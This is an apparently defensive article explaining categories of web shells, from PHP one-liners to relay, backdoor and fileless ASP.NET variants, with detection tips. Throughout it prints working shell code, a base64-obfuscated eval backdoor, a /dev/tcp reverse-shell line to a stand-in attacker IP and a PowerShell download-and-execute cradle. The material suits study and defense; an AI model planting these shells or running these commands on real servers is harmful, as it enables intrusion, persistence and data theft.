Defending Against Web Shells

Context

Adversaries frequently deploy web shells to establish persistent access to compromised web servers, leveraging them as footholds for deeper network infiltration. A web shell is a malicious script planted on a web server, allowing attackers to execute arbitrary system commands remotely. These scripts provide adversaries with a command-line interface or predefined functionality to control the target system, often mimicking legitimate administrative tools to evade detection.

While commonly associated with server-side scripts, web shells may also incorporate client-side components for more advanced interactions. Cyber threat actors have increasingly relied on web shell malware to facilitate computer network exploitation, given its adaptability and resilience against traditional security controls. Once embedded, a web shell enables attackers to execute commands over standard web protocols such as HTTP or HTTPS, blending malicious activity with normal network traffic.

A prevalent misconception is that web shell attacks only target internet-facing systems. In reality, attackers frequently compromise internal web applications—such as content management systems (CMS) and network device management interfaces—where security measures are often more relaxed due to lagging patch management and permissive configurations. Sophisticated adversaries also prefer deploying web shells inside an organisation’s internal network, where security solutions are less likely to be deployed, making lateral movement and post-exploitation activities harder to detect. Exploiting vulnerabilities in these internal services allows adversaries to establish persistence, pivot within the environment, and exfiltrate sensitive data while maintaining a low profile.

Beyond mere backdoor access, web shells are often part of multi-stage attack chains. Attackers may deploy them across multiple compromised hosts, creating relay nodes that route malicious commands deeper into the network. This technique obfuscates the attacker’s true origin and complicates incident response efforts. Furthermore, web shells are not only deployed via direct exploitation of web application vulnerabilities but are also introduced through compromised credentials, misconfigured servers, or weaknesses in third-party integrations.

While the term “web shell” is predominantly associated with malicious activity, legitimate web-based system management tools share similar functionalities. Poorly secured administrative interfaces or unsanctioned remote management tools can be exploited in the same manner as purpose-built web shells.

Given their stealth, persistence, and effectiveness in post-exploitation activities, web shells remain a formidable threat. Defensive strategies must go beyond signature-based detection, incorporating behavioural analysis, anomaly detection, and proactive threat hunting to identify and mitigate these threats before they enable deeper compromise.

  

Web Shell Variants: Tactics, Persistence, and Evasion

Web shells are not a monolithic threat but a spectrum of adversarial tools designed to exploit weaknesses in web infrastructure. Their functionality ranges from lightweight command execution scripts to fully interactive control panels capable of stealthy persistence and lateral movement. The following categorisation breaks down the types of web shells and their role in adversary operations.

One-Liner Command Execution Shells
The most rudimentary form of a web shell is a single line of server-side code capable of executing arbitrary system commands. These scripts are often deployed opportunistically, providing attackers with just enough access to perform reconnaissance, escalate privileges, or plant more persistent tools.

Tactical Use: Rapid exploitation, reconnaissance, initial foothold establishment.
Detection Strategies:

· Monitoring web server processes for abnormal system calls (cmd.exe, /bin/sh).

· Inspecting URL parameters (?cmd=) for suspicious payloads.

 

Example (PHP one-liner):

· <?php system($_GET[‘cmd’]); ?>

 

Let’s review how the above command works:

What It Does:

· <?php … ?>: PHP tags that start and end the PHP code.

· system(): A PHP function that executes system-level commands on the server.

· $_GET[‘cmd’]: Retrieves a parameter named cmd from the URL query string.

 

How It Works: When accessed via a URL like: http://

/shell.php?cmd=whoami

The PHP code will execute the whoami command on the server, displaying the current user. Essentially, it allows the attacker to run any command by simply changing the value of cmd in the URL.

Why it’s dangerous:

· Remote Command Execution: The attacker can run any command the web server user has permission to execute.

· Data Exfiltration: Sensitive files can be read and downloaded.

· Privilege Escalation: With some clever commands, attackers can try to elevate their privileges.

 

Critical Aspects of Command Execution Shells

One-liner command execution shells are deceptively simple yet potent. Their minimalistic design makes them challenging to detect and mitigate effectively. Below are critical aspects and challenges in detecting these shells:

1. Minimal Footprint

Code Simplicity: Often just a single line of code embedded in a legitimate web application file.

Stealth: Lack of distinctive features makes them hard to identify through conventional signature-based detection.

Blending In: Frequently hidden within legitimate files, such as index.php, upload.php, or error.jsp, making them appear benign at first glance.

 

Challenge: Scanning for web shells based on file names or basic content patterns is ineffective, as these one-liners can be injected almost anywhere.

2. Fileless Execution

Dynamic Injection: Can be dynamically injected into web applications using techniques like SQL Injection or Local File Inclusion (LFI), enabling execution without ever creating a file on disk.

Memory-Only Operations: Some versions exist only in-memory, triggered by specially crafted HTTP requests that exploit web application vulnerabilities.

 

Challenge: Traditional endpoint detection solutions that rely on file-based scanning will miss these in-memory or dynamically injected shells.

3. Evasion through Encoding and Parameterisation

URL Encoding: Commands are often URL-encoded to avoid detection by web application firewalls (WAFs).

Example:  http://

/shell.php?cmd=echo%20hello%20world

 

Parameter Obfuscation: Attackers may use misleading parameter names (action, do, execute) instead of obvious ones like cmd or exec.

 

Challenge: Simple URL analysis tools may overlook these encoded or disguised command parameters, making automated detection more difficult.

4. Leveraging Legitimate System Utilities

Living Off the Land (LOTL): Utilises legitimate system tools (e.g., powershell.exe, cmd.exe, netcat, curl) to execute commands, reducing the need for downloading additional malicious binaries.

Example:

Windows: cmd.php?cmd=powershell -EncodedCommand [encoded command]

Linux: shell.jsp?cmd=/bin/bash -i >& /dev/tcp/attacker_ip/8080 0>&1

 

Challenge: LOTL techniques make it difficult to distinguish between legitimate administrative activities and malicious actions, especially in environments where command-line activity is common

Windows: cmd.php?cmd=powershell -EncodedCommand [encoded command]

Linux: shell.jsp?cmd=/bin/bash -i >& /dev/tcp/attacker_ip/8080 0>&1

 

Interactive Web Shells

These shells extend beyond raw command execution by providing a web-based interface for executing commands, managing files, and running scripts. Equipped with command history, output formatting, and session management, they act as a

These shells extend beyond raw command execution by providing a web-based interface for executing commands, managing files, and running scripts. Equipped with command history, output formatting, and session management, they act as a primitive—but effective—remote access tool.

Notorious Variants: C99, R57 (legacy but still in use)
Tactical Use: Persistence, privilege escalation, lateral movement.
Detection Strategies:

· Inspecting HTML responses for interactive command execution elements.

· Detecting anomalies in POST requests, such as unusual payload sizes.

 

C99 and R57 are legacy PHP-based web shells that were widely used by attackers to gain unauthorized access to web servers. These shells provided attackers with a web-based interface to execute system commands, browse and modify files, manage databases, and escalate privileges.

 

C99 Web Shell

One of the earliest and most well-known PHP web shells.

· Provides a graphical interface for file management, command execution, and database manipulation.

· Includes built-in functions for privilege escalation and obfuscation to evade detection.

· Often disguised as a legitimate PHP script within a compromised web application.

 

R57 Web Shell

· Similar to C99 but often more lightweight.

· Designed for quick deployment and remote administration.

· Offers MySQL database management, command execution, and file browsing.

· Frequently used in mass website defacements and privilege escalation attacks.

 

Relevance Today

While C99 and R57 are considered outdated compared to modern web shells like China Chopper or b374k, variants of these shells are still found in compromised web environments, especially on poorly maintained websites. Modern security tools detect these shells based on their signatures, but attackers often modify the source code to evade detection.

 

Critical Aspects of Interactive Web Shells

Interactive web shells are more than just simple command execution tools—they serve as lightweight remote administration panels for adversaries. Here are key aspects that are often overlooked but are crucial for detection and mitigation:

1. Authentication and Access Control Mechanisms

Many advanced interactive web shells implement authentication features to restrict access to only the attacker. These mechanisms include:

· Hardcoded passwords or passphrase-based authentication.

· IP filtering to limit access to specific attacker-controlled addresses.

· Encrypted communication between the attacker and the web shell (e.g., AES-encrypted commands).

2. Encoded and Obfuscated Payloads

Interactive web shells often use obfuscation techniques to avoid detection, such as:

· Base64 encoding of commands and responses.

· String splitting to evade signature-based detection.

· Hex encoding, XOR encoding, or ROT13 transformations.

· Polymorphic code that changes upon each execution to prevent hash-based detection.

3. Multi-User Support

Some interactive shells allow multiple attackers to access the compromised system simultaneously. Features include:

· Session management to track logged-in users.

· Logging of executed commands for collaboration between adversaries.

· Role-based access, enabling attackers to manage different privilege levels.

4. Command Execution via HTTP Requests

Most interactive web shells receive commands via HTTP GET/POST requests and return output in HTTP responses. However, some use:

· AJAX requests for real-time interaction, making them appear like legitimate web applications.

· Hidden HTML form submissions to obscure command execution.

· WebSocket-based communication for lower detection rates.

5. Integration with Other Exploitation Tools

Modern interactive web shells don’t just provide system access—they integrate with additional exploitation frameworks, such as:

· Mimikatz for credential dumping

· PowerShell Empire for post-exploitation

· Metasploit payloads for further compromise

· Lateral movement scripts to target adjacent systems

   

File Manager Web Shells

File manager shells provide adversaries with a graphical interface to browse, upload, modify, and delete files. Unlike interactive shells, they focus on persistent file system access, often including the ability to manipulate web server configurations or plant additional payloads.

Tactical Use: Web defacement, malware deployment, lateral movement.

Detection Strategies:

· Monitoring unexpected file modifications in critical directories (/var/www/html/).

· Detecting suspicious HTTP requests containing file upload operations.

Example Variant: b374k (PHP-based, supports authentication bypass mechanisms)

b374k is an advanced PHP-based web shell designed for post-exploitation and persistent access to compromised web servers. Unlike basic one-liner shells, b374k comes with a feature-rich graphical interface and extensive functionalities, making it a favourite among attackers for stealthy operations:

Example:  This small piece of PHP code is designed to execute system commands on the server, but it is obfuscated (hidden) to avoid detection.

<?php

eval(base64_decode(“c3lzdGVtKCRfR0VUWydjbWQnXSk7”));

?>

How it works:

Step 1: The Obfuscated Payload

The key part of this script is the Base64-encoded text inside

· base64_decode(“c3lzdGVtKCRfR0VUWydjbWQnXSk7”)

This looks like random text, but when decoded, it turns into real PHP code.

Step 2: Base64 Decoding

The function base64_decode() converts the encoded text back into readable PHP code.

If we manually decode “c3lzdGVtKCRfR0VUWydjbWQnXSk7”, it turns into:

· system($_GET[‘cmd’]);

This means: execute whatever command is given in the cmd parameter of the URL.

Step 3: Executing System Commands

The function system($_GET[‘cmd’]); tells the server to run a system command provided by an attacker.

The attacker can now send a request like this:

· http://

/uploads/b374k.php?cmd=id

 The ?cmd=id part means: run the id command on the server (which prints the current user information). The server executes id and returns the output to the attacker.

 

 Key Features of File Manager Shells

1. Authentication Bypass & Access Control Evasion

· Hardcoded Default Credentials – The web shell typically requires a password to prevent unauthorized access by other attackers. However, some versions allow authentication bypass using:

Þ Hidden backdoor access keys.

Þ HTTP headers or cookie-based authentication instead of standard login pages.

Þ Preconfigured “magic” GET/POST parameters for stealthy execution.

Example: http://

/uploads/b374k.php?pass=attackerspecialkey

 

2. Built-in File Management & Remote Command Execution

· File Upload/Download Capabilities – Attackers can upload additional payloads, such as reverse shells or privilege escalation scripts.

· Command Execution Panel – Provides an interactive terminal-like interface to run system commands directly on the server.

Example: http://

/shell/b374k.php?cmd=whoami

 

3. Privilege Escalation & User Impersonation

· Attempts to escalate privileges using Linux SUID exploits, misconfigured sudo permissions, or Windows UAC bypass techniques.

· Can switch user identities (if running on Linux) by extracting credentials from configuration files (e.g., /etc/passwd, .bash_history).

 

4. Web-Based Reverse Shell & Persistent Access

· Built-in Reverse Shell Generator – Creates a backdoor connection to an attacker-controlled machine, allowing full remote control via Netcat, Meterpreter, or PowerShell Empire.

· Persistence Mechanisms:

Þ Modifies .htaccess to redirect traffic or protect the shell from detection.

Þ Creates scheduled tasks or cron jobs to automatically re-enable itself after removal.

Þ Drops additional web shells in different directories as a fallback mechanism.

 

5. Evasion Techniques & Anti-Detection Features

· Obfuscated Code – Uses Base64 encoding, string concatenation, and comments to break signature-based detection.

· Hidden Execution Modes – Can disguise itself as a legitimate system process or use common web file names (admin.php, config.php) to blend in.

· Disabling Security Tools – Attempts to disable security monitoring scripts by modifying sytem settings or terminating security processes.

   

Proxy/Relay Web Shells

This class of web shells is particularly insidious, as they function as covert traffic relays. Instead of simply executing commands on a compromised host, they forward attacker commands through the server, obfuscating their true origin. These shells are frequently used to bypass network segmentation, routing malicious traffic to otherwise inaccessible internal systems.

Example Variant: China Chopper (tiny footprint, robust command relay capabilities)

Tactical Use: Proxying traffic, evading detection, maintaining persistence.

Detection Strategies:

· Monitoring outbound connections originating from web server processes.

· Identifying unusual network traffic patterns, especially encrypted payloads over HTTP.

Example:  Here’s a basic PHP-based relay web shell that acts as a traffic forwarder:

<?php

$target = “192.168.1.100”; // The internal system the attacker wants to access

$port = 22; // The port to connect to (e.g., SSH)

$socket = fsockopen($target, $port);

if (!$socket) {

    die(“Connection failed”);

}

while (!feof($socket)) {

    echo fread($socket, 8192);

    flush();

}

fclose($socket);

?>

How it works:

Step 1: The attacker places this PHP file (relay.php) on a compromised web server.

Step 2: When they visit: http://

/uploads/relay.php

The script automatically opens a connection to 192.168.1.100:22 (which could be an internal SSH server or another compromised host).

Now, the attacker can use the web server as a proxy to pivot inside the victim’s network and access internal services that are not directly exposed to the internet.

The attacker’s real IP remains hidden since all traffic appears to be coming from the compromised web server.

 

Full-Featured Backdoor Web Shells

These are the Swiss Army knives of web shells—powerful, stealthy, and persistent. Equipped with authentication mechanisms, encrypted communication channels, and C2 (Command and Control) integration, they provide adversaries with long-term access to compromised networks.

Examples: WSO, KRYPTON, PAS (feature-rich PHP shells)

Tactical Use: Long-term access, data exfiltration, post-exploitation operations.

Detection Strategies:

· Identifying obfuscated PHP or ASP scripts embedded within web directories.

· Monitoring for anomalous, long-lived web server sessions.

Example:

WSO (Web Shell by Orb) is a widely used PHP-based web shell that provides attackers with a full suite of post-exploitation capabilities. Unlike simple command execution shells, full-featured backdoor web shells offer persistent access, file management, database interaction, and even network pivoting.

<?php

$password = “5f4dcc3b5aa765d61d8327deb882cf99“; // MD5 hash of “password” (default)

if(md5($_POST[‘pass’]) == $password) {

    eval($_POST[‘cmd’]); // Executes attacker’s command

}

?>

 

How it works:

1. The attacker sends a request with a password (pass=password) to authenticate.

2. If the password matches (md5($_POST[‘pass’]) == $password), it executes any com  mand sent via cmd.

3. This allows the attacker to run arbitrary PHP, shell commands, or load additional tools.

 

Fileless Web Shells

The most advanced category, fileless web shells leverage memory-only execution techniques, avoiding persistence on disk altogether. Instead of existing as static files, they exploit vulnerabilities in web applications to execute arbitrary commands directly in memory—often leveraging Remote Code Execution (RCE) vulnerabilities in frameworks like Apache Struts or deserialization flaws in Java-based applications.

Example Attack Vector: Injecting a web shell payload via a Log4Shell exploit, then executing arbitrary commands in-memory.

Tactical Use: Stealthy post-exploitation, privilege escalation, evading file-based detection.

Detection Strategies:

· Behavioral analysis of web server processes to detect abnormal memory allocations.

· Proactive hunting for unexpected execution chains (java -jar …, powershell -encodedCommand …).

Example:  ASP.NET In-Memory Web Shell Using PowerShell

Attackers can inject commands into .NET web applications without uploading a file.

· http://victim.com/aspnetapp.aspx?cmd=IEX(New-Object Net.WebClient).DownloadString(‘http://malicious.com/payload.ps1’)

Vulnerable ASP. NET Code

<%@ Page Language=”C#” Debug=”true” %>

<script runat=”server”>

    protected void Page_Load(object sender, EventArgs e) {

        string cmd = Request.QueryString[“cmd”]; // Extracts ‘cmd’ parameter from URL

        System.Diagnostics.Process.Start(“powershell.exe”, cmd); // Executes the command

    }

</script>

How it works:

Exploit Web Injection

cmd=: This is the parameter in the URL where the attacker supplies their command.

IEX(New-Object

Net.WebClient).DownloadString(‘http://malicious.com/payload.ps1’):

This tells PowerShell to:

1. Download a script (payload.ps1) from the attacker’s server.

2. Execute the script directly in memory (without saving to disk).

On the vulnerable victim’s machine

· Request.QueryString[“cmd”] – Retrieves whatever command the attacker put in the URL.

· Process.Start(“powershell.exe”, cmd); – Runs PowerShell with the attacker’s command on the server.

Because PowerShell can execute scripts without saving them to disk, no file gets written, making it stealthy and difficult to detect with traditional file-based security tools. The attacker gains remote access to the system or executes further commands.

 

 Key Reasons They Evade Detection:

 

1. No Files Written to Disk. That Means No Detection by Anti-Virus Tools

· Traditional antivirus (AV) and EDR tools rely on scanning files for known signatures or behavioral anomalies.

· Since fileless web shells execute entirely in memory, these tools never get a chance to inspect malicious scripts before they run.

 

2. No Static Indicators

· File-based malware often has hash values, signatures, and heuristics that security tools recognize.

· Fileless techniques use dynamically generated payloads, leaving little-to-no footprint.

 

3. Execution via Legitimate Processes

· Many fileless web shells hijack trusted processes (e.g., php.exe, w3wp.exe for IIS, or powershell.exe) to execute commands.

· This blends malicious activity with normal system behavior, reducing alerting from behavioral detection systems.

 

4. No Need for Persistent File Artifacts

· Traditional malware often installs itself for persistence (e.g., registry keys, startup scripts).

· Fileless web shells persist in-memory or through repeated exploitation of a vulnerable web application.

 

5. Encrypted or Obfuscated Payloads

· Many fileless techniques use Base64 encoding, XOR obfuscation, or custom encoding to evade detection.

· Security tools inspecting memory may see an unreadable blob instead of clear malicious commands.

 

Mitigation Strategies
To defend against web shell attacks, implement strict input validation, disable risky web application functions, and ensure secure file upload mechanisms. Regularly patch web applications and employ monitoring advanced threat detection tools to detect suspicious activity.

[